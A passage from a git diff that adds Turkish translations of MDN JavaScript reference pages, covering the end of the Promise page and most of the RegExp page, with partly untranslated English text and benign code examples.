parametre promise nesnesi tamamlandığında, ikinci parametre ise reddettiğinde çağrılır. Bu fonksiyonları işlemimiz bittiğinde (başarılı yada başarısız) çağırırız.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Oluşturulan bir <code>promise </code>başka bir <code>promise </code>için proxy görevi görür.<br> + Başarılı yada başarısız bir şekilde sonuç üreten asenkron işlemlerin ilişkilendirilmesine olanak tanır.Bu asenkron methodların senkron methodlar gibi sonuç döndürmesi'ni sağlar.Asenkron method hemen sonuçlanmaz.Bunun yerine işlemin tamamlandığı noktayı temsil eden bir <code>promise </code>döndürür.</p> + +<p>Bir <code>Promise</code> şu durumları içerir:</p> + +<ul> + <li><em>pending</em>: ne işlem görmüş ne de red edilmiş başlangıç durumu.</li> + <li><em>fulfilled</em>: operasyon ' un başarılı bir şekilde tamamlandığı durum.</li> + <li><em>rejected</em>: operasyon ' un başarısızlıkla tamamlandığı durum.</li> +</ul> + +<p>Bekleyen bir Promise, bir sonuç döndürerek tamamlanabilir veya bir nedenle reddedilebilir(hata).Bunlardan herhanbiri gerçekleştiğinde (resolve/reject) sıraya konulmuş ilişkili methodlar sıra ile çağrılır.(Promise tamamlandığında yada red edildiğinde sırada bağlanmış bir method var ise o method çalıştırılır.Böylece asenkron işlemler arasında bir rekabet/mücadele olmaz.Sırası gelen çalışır.)</p> + +<p>As the <code>{{jsxref("Promise.then", "Promise.prototype.then()")}}</code> and <code>{{jsxref("Promise.catch", "Promise.prototype.catch()")}}</code> methods return promises, bunlar zincirlenebilirler—an operation called <em>composition</em>.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png"></p> + +<div class="note"> +<p><strong>Note</strong>: A promise is said to be <em>settled </em>if it is either fulfilled or rejected, but not pending. You will also hear the term <em>resolved</em> used with promises — this means that the promise is settled, or it is locked into a promise chain. Domenic Denicola's <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">States and fates</a> contains more details about promise terminology.</p> +</div> + +<h2 id="Özellikler">Özellikler</h2> + +<dl> + <dt><code>Promise.length</code></dt> + <dd>Değeri 1 olan Length özelliği (constructor argümanları sayısı).</dd> + <dt>{{jsxref("Promise.prototype")}}</dt> + <dd>Represents the prototype for the <code>Promise</code> constructor.</dd> +</dl> + +<h2 id="Metodlar">Metodlar</h2> + +<dl> + <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt> + <dd>Returns a promise that either resolves when all of the promises in the iterable argument have resolved or rejects as soon as one of the promises in the iterable argument rejects. If the returned promise resolves, it is resolved with an array of the values from the resolved promises in the iterable. If the returned promise rejects, it is rejected with the reason from the promise in the iterable that rejected. This method can be useful for aggregating results of multiple promises together.</dd> + <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt> + <dd>Returns a promise that resolves or rejects as soon as one of the promises in the iterable resolves or rejects, with the value or reason from that promise.</dd> +</dl> + +<dl> + <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt> + <dd>Belirtilen bir nedenden dolayı reddedilen <code>Promise</code> nesnesini döndürür.</dd> +</dl> + +<dl> + <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt> + <dd>Returns a <code>Promise</code> object that is resolved with the given value. If the value is a thenable (i.e. has a <code>then</code> method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value. Generally, if you want to know if a value is a promise or not - {{jsxref("Promise.resolve", "Promise.resolve(value)")}} it instead and work with the return value as a promise.</dd> +</dl> + +<h2 id="Promise_prototype"><code>Promise</code> prototype</h2> + +<h3 id="Özellikler_2">Özellikler</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}</p> + +<h3 id="Metodlar_2">Metodlar</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Promise_Oluşturma">Promise Oluşturma</h3> + +<pre class="brush: html hidden"><button id="btn">Promise yap!</button> +<div id="log"></div> +</pre> + +<p>Bu küçük örnek <code>Promise</code> mekanizmasını gösterir. {{HTMLElement("button")}} her tıklandığında <code>testPromise()</code> metodu çağrılır . It creates a promise that will resolve, using {{domxref("window.setTimeout()")}}, to the string "result" every 1-3 seconds, at random. The <code>Promise()</code> constructor is used to create the promise.</p> + +<p>The fulfillment of the promise is simply logged, via a fulfill callback set using {{jsxref("Promise.prototype.then()","p1.then()")}}. A few logs shows how the synchronous part of the method is decoupled of the asynchronous completion of the promise.</p> + +<pre class="brush: js">'use strict'; +var promiseCount = 0; + +function testPromise() { + var thisPromiseCount = ++promiseCount; + + var log = document.getElementById('log'); + log.insertAdjacentHTML('beforeend', thisPromiseCount + + ') Started (<small>Sync code started</small>)<br/>'); + + // We make a new promise: we promise the string 'result' (after waiting 3s) + var p1 = new Promise( + // The resolver function is called with the ability to resolve or + // reject the promise + function(resolve, reject) { + log.insertAdjacentHTML('beforeend', thisPromiseCount + + ') Promise started (<small>Async code started</small>)<br/>'); + // This is only an example to create asynchronism + window.setTimeout( + function() { + // We fulfill the promise ! + resolve(thisPromiseCount); + }, Math.random() * 2000 + 1000); + }); + + // We define what to do when the promise is resolved/fulfilled with the then() call, + // and the catch() method defines what to do if the promise is rejected. + p1.then( + // Log the fulfillment value + function(val) { + log.insertAdjacentHTML('beforeend', val + + ') Promise fulfilled (<small>Async code terminated</small>)<br/>'); + }) + .catch( + // Log the rejection reason + function(reason) { + console.log('Handle rejected promise ('+reason+') here.'); + }); + + log.insertAdjacentHTML('beforeend', thisPromiseCount + + ') Promise made (<small>Sync code terminated</small>)<br/>'); +}</pre> + +<pre class="brush:js hidden">if ("Promise" in window) { + var btn = document.getElementById("btn"); + btn.addEventListener("click",testPromise); +} +else { + log = document.getElementById('log'); + log.innerHTML = "Live example not available as your browser doesn't support the <code>Promise<code> interface."; +} +</pre> + +<p>Bu örnek buton'a tıkladığınızda çalışır. <code>Promise</code> destekleyen bir tarayıcıya ihtiyacınız var. Buton'a birden fazla tıklamanız durumunda farklı promise nesnelerinin kısa sürede tamamlandığını göreceksiniz.</p> + +<p>{{EmbedLiveSample("Creating_a_Promise", "500", "200")}}</p> + +<h2 id="new_XMLHttpRequest_Kullanım_Örneği">new XMLHttpRequest() Kullanım Örneği</h2> + +<h3 id="Promise_Oluşturma_2">Promise Oluşturma</h3> + +<p>Bu örnekte {{domxref("XMLHttpRequest")}} nesnesinin başarılı yada başarısız durumunu <code>Promise</code> kullanarak nasıl raporlanabildiğini göstermektedir.</p> + +<pre class="brush: js">'use strict'; + +// A-> $http function is implemented in order to follow the standard Adapter pattern +function $http(url){ + + // A small example of object + var core = { + + // Method that performs the ajax request + ajax : function (method, url, args) { + + // Creating a promise + var promise = new Promise( function (resolve, reject) { + + // Instantiates the XMLHttpRequest + var client = new XMLHttpRequest(); + var uri = url; + + if (args && (method === 'POST' || method === 'PUT')) { + uri += '?'; + var argcount = 0; + for (var key in args) { + if (args.hasOwnProperty(key)) { + if (argcount++) { + uri += '&'; + } + uri += encodeURIComponent(key) + '=' + encodeURIComponent(args[key]); + } + } + } + + client.open(method, uri); + client.send(); + + client.onload = function () { + if (this.status >= 200 && this.status < 300) { + // Performs the function "resolve" when this.status is equal to 2xx + resolve(this.response); + } else { + // Performs the function "reject" when this.status is different than 2xx + reject(this.statusText); + } + }; + client.onerror = function () { + reject(this.statusText); + }; + }); + + // Return the promise + return promise; + } + }; + + // Adapter pattern + return { + 'get' : function(args) { + return core.ajax('GET', url, args); + }, + 'post' : function(args) { + return core.ajax('POST', url, args); + }, + 'put' : function(args) { + return core.ajax('PUT', url, args); + }, + 'delete' : function(args) { + return core.ajax('DELETE', url, args); + } + }; +}; +// End A + +// B-> Here you define its functions and its payload +var mdnAPI = 'https://developer.mozilla.org/en-US/search.json'; +var payload = { + 'topic' : 'js', + 'q' : 'Promise' +}; + +var callback = { + success : function(data){ + console.log(1, 'success', JSON.parse(data)); + }, + error : function(data){ + console.log(2, 'error', JSON.parse(data)); + } +}; +// End B + +// Executes the method call +$http(mdnAPI) + .get(payload) + .then(callback.success) + .catch(callback.error); + +// Executes the method call but an alternative way (1) to handle Promise Reject case +$http(mdnAPI) + .get(payload) + .then(callback.success, callback.error); + +// Executes the method call but an alternative way (2) to handle Promise Reject case +$http(mdnAPI) + .get(payload) + .then(callback.success) + .then(undefined, callback.error); +</pre> + +<h3 id="XHR_ile_görsel_yükleme">XHR ile görsel yükleme</h3> + +<p>Another simple example using <code>Promise</code> and <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> to load an image is available at the MDN GitHub<a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> repository. You can also <a href="http://mdn.github.io/promises-test/">see it in action</a>. Each step is commented and allows you to follow the Promise and XHR architecture closely.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-promise-objects', 'Promise')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition in an ECMA standard.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + + + +<div> + + +<p>{{Compat("javascript.builtins.Promise")}}</p> +</div> + + + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li> + <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li> + <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li> + <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li> + <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li> + <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/regexp/index.html b/files/tr/web/javascript/reference/global_objects/regexp/index.html new file mode 100644 index 0000000000..f60e06d0df --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/regexp/index.html @@ -0,0 +1,606 @@ +--- +title: RegExp +slug: Web/JavaScript/Reference/Global_Objects/RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +--- +<div>{{JSRef}}</div> + +<p>The <strong><code>RegExp</code></strong> constructor creates a regular expression object for matching text with a pattern.</p> + +<p>For an introduction to regular expressions, read the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions chapter</a> in the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript Guide</a>.</p> + +<h2 id="Syntax">Syntax</h2> + +<p>Literal, constructor, and factory notations are possible:</p> + +<pre class="syntaxbox">/<var>pattern</var>/<var>flags</var> +new RegExp(<var>pattern</var>[, <var>flags</var>]) +RegExp(<var>pattern</var>[, <var>flags</var>]) +</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>pattern</code></dt> + <dd>Duzenli ifadenin metni.</dd> + <dt><code>flags</code></dt> + <dd> + <p>If specified, flags can have any combination of the following values:</p> + + <dl> + <dt><code>g</code></dt> + <dd>global match; find all matches rather than stopping after the first match</dd> + <dt><code>i</code></dt> + <dd>ignore case</dd> + <dt><code>m</code></dt> + <dd>multiline; treat beginning and end characters (^ and $) as working over multiple lines (i.e., match the beginning or end of <em>each</em> line (delimited by \n or \r), not only the very beginning or end of the whole input string)</dd> + <dt><code>u</code></dt> + <dd>unicode; treat pattern as a sequence of unicode code points</dd> + <dt><code>y</code></dt> + <dd>sticky; matches only from the index indicated by the <code>lastIndex</code> property of this regular expression in the target string (and does not attempt to match from any later indexes).</dd> + </dl> + </dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>There are 2 ways to create a <code>RegExp</code> object: a literal notation and a constructor. To indicate strings, the parameters to the literal notation do not use quotation marks while the parameters to the constructor function do use quotation marks. So the following expressions create the same regular expression:</p> + +<pre class="brush: js">/ab+c/i; +new RegExp('ab+c', 'i'); +new RegExp(/ab+c/, 'i'); +</pre> + +<p>The literal notation provides compilation of the regular expression when the expression is evaluated. Use literal notation when the regular expression will remain constant. For example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each iteration.</p> + +<p>The constructor of the regular expression object, for example, <code>new RegExp('ab+c')</code>, provides runtime compilation of the regular expression. Use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input.</p> + +<p>Starting with ECMAScript 6, <code>new RegExp(/ab+c/, 'i')</code> no longer throws a {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") when the first argument is a <code>RegExp</code> and the second <code>flags</code> argument is present. A new <code>RegExp</code> from the arguments is created instead.</p> + +<p>When using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary. For example, the following are equivalent:</p> + +<pre class="brush: js">var re = /\w+/; +var re = new RegExp('\\w+'); +</pre> + +<h2 id="Düzenli_İfadelerde_(Regular_Expressions)_Özel_Karakterlerin_Anlamları">Düzenli İfadelerde (Regular Expressions) Özel Karakterlerin Anlamları</h2> + +<ul> + <li><a href="/en-US/docs/">Karakter Sınıfları</a></li> + <li><a href="#character-sets">Karakter Kümele</a>ri</li> + <li>Kısıtlar</li> + <li><a href="#alternation">D</a>eğişim</li> + <li>Gruplama ve Referansa Geri Dönme</li> + <li><a href="#quantifiers">N</a>iceleyiciler</li> + <li><a href="#assertions">O</a>naylamalar</li> +</ul> + +<table class="fullwidth-table"> + <tbody> + <tr id="character-classes"> + <th colspan="2">Karakter Sınıfları</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code>.</code></td> + <td> + <p>(The dot, the decimal point) matches any single character <em>except</em> line terminators: <code>\n</code>, <code>\r</code>, <code>\u2028</code> or <code>\u2029</code>.</p> + + <p>Inside a character set, the dot loses its special meaning and matches a literal dot.</p> + + <p>Note that the <code>m</code> multiline flag doesn't change the dot behavior. So to match a pattern across multiple lines, the character set <code>[^]</code> can be used (if you don't mean an old version of IE, of course), it will match any character including newlines.</p> + + <p>For example, <code>/.y/</code> matches "my" and "ay", but not "yes", in "yes make my day".</p> + </td> + </tr> + <tr> + <td><code>\d</code></td> + <td> + <p>Matches any digit (Arabic numeral). Equivalent to <code>[0-9]</code>.</p> + + <p>For example, <code>/\d/</code> or <code>/[0-9]/</code> matches "2" in "B2 is the suite number".</p> + </td> + </tr> + <tr> + <td><code>\D</code></td> + <td> + <p>Matches any character that is not a digit (Arabic numeral). Equivalent to <code>[^0-9]</code>.</p> + + <p>For example, <code>/\D/</code> or <code>/[^0-9]/</code> matches "B" in "B2 is the suite number".</p> + </td> + </tr> + <tr> + <td><code>\w</code></td> + <td> + <p>Matches any alphanumeric character from the basic Latin alphabet, including the underscore. Equivalent to <code>[A-Za-z0-9_]</code>.</p> + + <p>For example, <code>/\w/</code> matches "a" in "apple", "5" in "$5.28", and "3" in "3D".</p> + </td> + </tr> + <tr> + <td><code>\W</code></td> + <td> + <p>Matches any character that is not a word character from the basic Latin alphabet. Equivalent to <code>[^A-Za-z0-9_]</code>.</p> + + <p>For example, <code>/\W/</code> or <code>/[^A-Za-z0-9_]/</code> matches "%" in "50%".</p> + </td> + </tr> + <tr> + <td><code>\s</code></td> + <td> + <p>Matches a single white space character, including space, tab, form feed, line feed and other Unicode spaces. Equivalent to <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p> + + <p>For example, <code>/\s\w*/</code> matches " bar" in "foo bar".</p> + </td> + </tr> + <tr> + <td><code>\S</code></td> + <td> + <p>Matches a single character other than white space. Equivalent to <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p> + + <p>For example, <code>/\S\w*/</code> matches "foo" in "foo bar".</p> + </td> + </tr> + <tr> + <td><code>\t</code></td> + <td>Matches a horizontal tab.</td> + </tr> + <tr> + <td><code>\r</code></td> + <td>Matches a carriage return.</td> + </tr> + <tr> + <td><code>\n</code></td> + <td>Matches a linefeed.</td> + </tr> + <tr> + <td><code>\v</code></td> + <td>Matches a vertical tab.</td> + </tr> + <tr> + <td><code>\f</code></td> + <td>Matches a form-feed.</td> + </tr> + <tr> + <td><code>[\b]</code></td> + <td>Matches a backspace. (Not to be confused with <code>\b</code>)</td> + </tr> + <tr> + <td><code>\0</code></td> + <td>Matches a NUL character. Do not follow this with another digit.</td> + </tr> + <tr> + <td><code>\c<em>X</em></code></td> + <td> + <p>Where <code><em>X</em></code> is a letter from A - Z. Matches a control character in a string.</p> + + <p>For example, <code>/\cM/</code> matches control-M in a string.</p> + </td> + </tr> + <tr> + <td><code>\x<em>hh</em></code></td> + <td>Matches the character with the code <code><em>hh</em></code> (two hexadecimal digits).</td> + </tr> + <tr> + <td><code>\u<em>hhhh</em></code></td> + <td>Matches a UTF-16 code-unit with the value <code><em>hhhh</em></code> (four hexadecimal digits).</td> + </tr> + <tr> + <td><code>\u<em>{hhhh} </em>or <em>\u{hhhhh}</em></code></td> + <td>(only when u flag is set) Matches the character with the Unicode value U+<code><em>hhhh</em> or </code>U+<code><em>hhhhh</em></code> (hexadecimal digits).</td> + </tr> + <tr> + <td><code>\</code></td> + <td> + <p>For characters that are usually treated literally, indicates that the next character is special and not to be interpreted literally.</p> + + <p>For example, <code>/b/</code> matches the character "b". By placing a backslash in front of "b", that is by using <code>/\b/</code>, the character becomes special to mean match a word boundary.</p> + + <p><em>or</em></p> + + <p>For characters that are usually treated specially, indicates that the next character is not special and should be interpreted literally.</p> + + <p>For example, "*" is a special character that means 0 or more occurrences of the preceding character should be matched; for example, <code>/a*/</code> means match 0 or more "a"s. To match <code>*</code> literally, precede it with a backslash; for example, <code>/a\*/</code> matches "a*".</p> + </td> + </tr> + </tbody> + <tbody> + <tr id="character-sets"> + <th colspan="2">Karakter Kümeleri</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code>[xyz]<br> + [a-c]</code></td> + <td> + <p>A character set. Matches any one of the enclosed characters. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character. It is also possible to include a character class in a character set.</p> + + <p>For example, <code>[abcd]</code> is the same as <code>[a-d]</code>. They match the "b" in "brisket" and the "c" in "chop".</p> + + <p>For example, [abcd-] and [-abcd] match the "b" in "brisket", the "c" in "chop" and the "-" (hyphen) in "non-profit".</p> + + <p>For example, [\w-] is the same as [A-Za-z0-9_-]. They match the "b" in "brisket", the "c" in "chop" and the "n" in "non-profit".</p> + </td> + </tr> + <tr> + <td> + <p><code>[^xyz]<br> + [^a-c]</code></p> + </td> + <td> + <p>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character.</p> + + <p>For example, <code>[^abc]</code> is the same as <code>[^a-c]</code>. They initially match "o" in "bacon" and "h" in "chop".</p> + </td> + </tr> + </tbody> + <tbody> + <tr id="alternation"> + <th colspan="2">Değişim</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code><em>x</em>|<em>y</em></code></td> + <td> + <p>Matches either <code><em>x</em></code> or <code><em>y</em></code>.</p> + + <p>For example, <code>/green|red/</code> matches "green" in "green apple" and "red" in "red apple".</p> + </td> + </tr> + </tbody> + <tbody> + <tr id="boundaries"> + <th colspan="2">Kısıtlar</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code>^</code></td> + <td> + <p>Matches beginning of input. If the multiline flag is set to true, also matches immediately after a line break character.</p> + + <p>For example, <code>/^A/</code> does not match the "A" in "an A", but does match the first "A" in "An A".</p> + </td> + </tr> + <tr> + <td><code>$</code></td> + <td> + <p>Matches end of input. If the multiline flag is set to true, also matches immediately before a line break character.</p> + + <p>For example, <code>/t$/</code> does not match the "t" in "eater", but does match it in "eat".</p> + </td> + </tr> + <tr> + <td><code>\b</code></td> + <td> + <p>Matches a word boundary. This is the position where a word character is not followed or preceded by another word-character, such as between a letter and a space. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero.</p> + + <p>Examples:<br> + <code>/\bm/</code> matches the 'm' in "moon" ;<br> + <code>/oo\b/</code> does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character;<br> + <code>/oon\b/</code> matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character;<br> + <code>/\w\b\w/</code> will never match anything, because a word character can never be followed by both a non-word and a word character.</p> + </td> + </tr> + <tr> + <td><code>\B</code></td> + <td> + <p>Matches a non-word boundary. This is a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. Such as between two letters or between two spaces. The beginning and end of a string are considered non-words. Same as the matched word boundary, the matched non-word bondary is also not included in the match.</p> + + <p>For example, <code>/\Bon/</code> matches "on" in "at noon", and <code>/ye\B/</code> matches "ye" in "possibly yesterday".</p> + </td> + </tr> + </tbody> + <tbody> + <tr id="grouping-back-references"> + <th colspan="2">Gruplama ve Referansa Geri Dönme</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code>(<em>x</em>)</code></td> + <td> + <p>Matches <code><em>x</em></code> and remembers the match. These are called capturing groups.</p> + + <p>For example, <code>/(foo)/</code> matches and remembers "foo" in "foo bar". </p> + + <p>The capturing groups are numbered according to the order of left parentheses of capturing groups, starting from 1. The matched substring can be recalled from the resulting array's elements <code>[1], ..., [n]</code> or from the predefined <code>RegExp</code> object's properties <code>$1, ..., $9</code>.</p> + + <p>Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).</p> + </td> + </tr> + <tr> + <td><code>\<em>n</em></code></td> + <td> + <p>Where <code><em>n</em></code> is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses).</p> + + <p>For example, <code>/apple(,)\sorange\1/</code> matches "apple, orange," in "apple, orange, cherry, peach". A more complete example follows this table.</p> + </td> + </tr> + <tr> + <td><code>(?:<em>x</em>)</code></td> + <td>Matches <code><em>x</em></code> but does not remember the match. These are called non-capturing groups. The matched substring can not be recalled from the resulting array's elements <code>[1], ..., [n]</code> or from the predefined <code>RegExp</code> object's properties <code>$1, ..., $9</code>.</td> + </tr> + </tbody> + <tbody> + <tr id="quantifiers"> + <th colspan="2">Niceleyiciler</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code><em>x</em>*</code></td> + <td> + <p>Matches the preceding item <em>x</em> 0 or more times.</p> + + <p>For example, <code>/bo*/</code> matches "boooo" in "A ghost booooed" and "b" in "A bird warbled", but nothing in "A goat grunted".</p> + </td> + </tr> + <tr> + <td><code><em>x</em>+</code></td> + <td> + <p>Matches the preceding item <em>x</em> 1 or more times. Equivalent to <code>{1,}</code>.</p> + + <p>For example, <code>/a+/</code> matches the "a" in "candy" and all the "a"'s in "caaaaaaandy".</p> + </td> + </tr> + <tr> + <td><code><em>x</em>?</code></td> + <td> + <p>Matches the preceding item <em>x</em> 0 or 1 time.</p> + + <p>For example, <code>/e?le?/</code> matches the "el" in "angel" and the "le" in "angle."</p> + + <p>If used immediately after any of the quantifiers <code>*</code>, <code>+</code>, <code>?</code>, or <code>{}</code>, makes the quantifier non-greedy (matching the minimum number of times), as opposed to the default, which is greedy (matching the maximum number of times).</p> + </td> + </tr> + <tr> + <td><code><em>x</em>{<em>n</em>}</code></td> + <td> + <p>Where <code><em>n</em></code> is a positive integer. Matches exactly <code><em>n</em></code> occurrences of the preceding item <em>x</em>.</p> + + <p>For example, <code>/a{2}/</code> doesn't match the "a" in "candy", but it matches all of the "a"'s in "caandy", and the first two "a"'s in "caaandy".</p> + </td> + </tr> + <tr> + <td><code><em>x</em>{<em>n</em>,}</code></td> + <td> + <p>Where <code><em>n</em></code> is a positive integer. Matches at least <code><em>n</em></code> occurrences of the preceding item <em>x</em>.</p> + + <p>For example, <code>/a{2,}/</code> doesn't match the "a" in "candy", but matches all of the a's in "caandy" and in "caaaaaaandy".</p> + </td> + </tr> + <tr> + <td><code><em>x</em>{<em>n</em>,<em>m</em>}</code></td> + <td> + <p>Where <code><em>n</em></code> and <code><em>m</em></code> are positive integers. Matches at least <code><em>n</em></code> and at most <code><em>m</em></code> occurrences of the preceding item <em>x</em>.</p> + + <p>For example, <code>/a{1,3}/</code> matches nothing in "cndy", the "a" in "candy", the two "a"'s in "caandy", and the first three "a"'s in "caaaaaaandy". Notice that when matching "caaaaaaandy", the match is "aaa", even though the original string had more "a"'s in it.</p> + </td> + </tr> + <tr> + <td> + <p><code><em>x</em>*?</code><br> + <code><em>x</em>+?</code><br> + <code><em>x</em>??</code><br> + <code><em>x</em>{n}?</code><br> + <code><em>x</em>{n,}?</code><br> + <code><em>x</em>{n,m}?</code></p> + </td> + <td> + <p>Matches the preceding item <em>x</em> like <code>*</code>, <code>+</code>, <code>?</code>, and <code>{...}</code> from above, however the match is the smallest possible match.</p> + + <p>For example, <code>/<.*?>/</code> matches "<foo>" in "<foo> <bar>", whereas <code>/<.*>/</code> matches "<foo> <bar>".</p> + + <p>Quantifiers without <code>?</code> are said to be greedy. Those with <code>?</code> are called "non-greedy".</p> + </td> + </tr> + </tbody> + <tbody> + <tr id="assertions"> + <th colspan="2">Onaylamalar</th> + </tr> + <tr> + <th>Karakter</th> + <th>Anlamı</th> + </tr> + <tr> + <td><code><em>x</em>(?=<em>y</em>)</code></td> + <td> + <p>Matches <code><em>x</em></code> only if <code><em>x</em></code> is followed by <code><em>y</em></code>.</p> + + <p>For example, /<code>Jack(?=Sprat)/</code> matches "Jack" only if it is followed by "Sprat".<br> + <code>/Jack(?=Sprat|Frost)/</code> matches "Jack" only if it is followed by "Sprat" or "Frost". However, neither "Sprat" nor "Frost" is part of the match results.</p> + </td> + </tr> + <tr> + <td><code><em>x</em>(?!<em>y</em>)</code></td> + <td> + <p>Matches <code><em>x</em></code> only if <code><em>x</em></code> is not followed by <code><em>y</em></code>.</p> + + <p>For example, <code>/\d+(?!\.)/</code> matches a number only if it is not followed by a decimal point.<br> + <code>/\d+(?!\.)/.exec('3.141')</code> matches "141" but not "3.141".</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{jsxref("RegExp.prototype")}}</dt> + <dd>Allows the addition of properties to all objects.</dd> + <dt><code>RegExp.length</code></dt> + <dd>The value of <code>RegExp.length</code> is 2.</dd> + <dt>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}</dt> + <dd>The constructor function that is used to create derived objects.</dd> + <dt>{{jsxref("RegExp.lastIndex")}}</dt> + <dd>The index at which to start the next match.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p>The global <code>RegExp</code> object has no methods of its own, however, it does inherit some methods through the prototype chain.</p> + +<h2 id="RegExp_prototype_objects_and_instances"><code>RegExp</code> prototype objects and instances</h2> + +<h3 id="Properties_2">Properties</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype', 'Properties')}}</div> + +<h3 id="Methods_2">Methods</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype', 'Methods')}}</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_a_regular_expression_to_change_data_format">Using a regular expression to change data format</h3> + +<p>The following script uses the {{jsxref("String.prototype.replace()", "replace()")}} method of the {{jsxref("Global_Objects/String", "String")}} instance to match a name in the format <em>first last</em> and output it in the format <em>last, first</em>. In the replacement text, the script uses <code>$1</code> and <code>$2</code> to indicate the results of the corresponding matching parentheses in the regular expression pattern.</p> + +<pre class="brush: js">var re = /(\w+)\s(\w+)/; +var str = 'John Smith'; +var newstr = str.replace(re, '$2, $1'); +console.log(newstr); +</pre> + +<p>This displays "Smith, John".</p> + +<h3 id="Using_regular_expression_to_split_lines_with_different_line_endingsends_of_lineline_breaks">Using regular expression to split lines with different <strong>line endings/ends of line/line breaks</strong></h3> + +<p>The default line ending varies depending on the platform (Unix, Windows, etc.). The line splitting provided in this example works on all platforms.</p> + +<pre class="brush: js">var text = 'Some text\nAnd some more\r\nAnd yet\rThis is the end'; +var lines = text.split(/\r\n|\r|\n/); +console.log(lines); // logs [ 'Some text', 'And some more', 'And yet', 'This is the end' ] +</pre> + +<p>Note that the order of the patterns in the regular expression matters.</p> + +<h3 id="Using_regular_expression_on_multiple_lines">Using regular expression on multiple lines</h3> + +<pre class="brush: js">var s = 'Please yes\nmake my day!'; +s.match(/yes.*day/); +// Returns null +s.match(/yes[^]*day/); +// Returns ["yes\nmake my day"] +</pre> + +<h3 id="Using_a_regular_expression_with_the_sticky_flag">Using a regular expression with the sticky flag</h3> + +<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky">sticky flag</a> indicates that the regular expression performs sticky matching in the target string by 